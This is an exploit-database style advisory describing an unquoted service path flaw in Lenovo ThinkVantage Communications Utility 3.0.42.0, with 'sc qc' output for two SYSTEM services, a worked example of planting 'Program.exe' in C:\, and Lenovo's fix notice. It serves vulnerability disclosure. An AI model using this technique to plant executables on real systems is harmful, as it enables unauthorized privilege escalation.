# Exploit Title: Lenovo ThinkVantage Communications Utility - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 3.0.42.0
# Tested on: Windows 7 Professional

The Lenovo ThinkVantage Communications Utility installs 2 services with unquoted
service paths.  This enables a local privilege escalation vulnerability.
To exploit this vulnerability, a local attacker can insert an executable file in the path
of either service.  Rebooting the system or restarting either service will run the malicious
executable with elevated privileges.


This was tested on version 3.0.42.0, but other versions may be affected as well.


---------------------------------------------------------------------------

C:\>sc qc LENOVO.CAMMUTE
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: LENOVO.CAMMUTE
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files\Lenovo\Communications Utility\CAMMUTE.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Lenovo Camera Mute
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


C:\>sc qc LENOVO.TPKNRSVC
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: LENOVO.TPKNRSVC
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files\Lenovo\Communications Utility\TPKNRSVC.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Lenovo Keyboard Noise Reduction
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

---------------------------------------------------------------------------


EXAMPLE:

Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.


############################################################

From Lenovo PSIRT:

This issue was fixed in version 3.0.44.0, which was released on June 4, 2013. README for Lenovo Communications Utility program:

https://download.lenovo.com/pccbbs/mobiles/grcu19ww.txt

3.0.44.0             01     2013/06/04
<3.0.44.0>
- (Fix) Fixed the vulnerability issue of service program registration.
- (Fix) Fixed the issue that vcamsvc.exe might crash.
- (Fix) Fixed the issue that TpKnrres.exe might crash.
- (Fix) Fixed the issue that TPKNRSVC.exe might crash.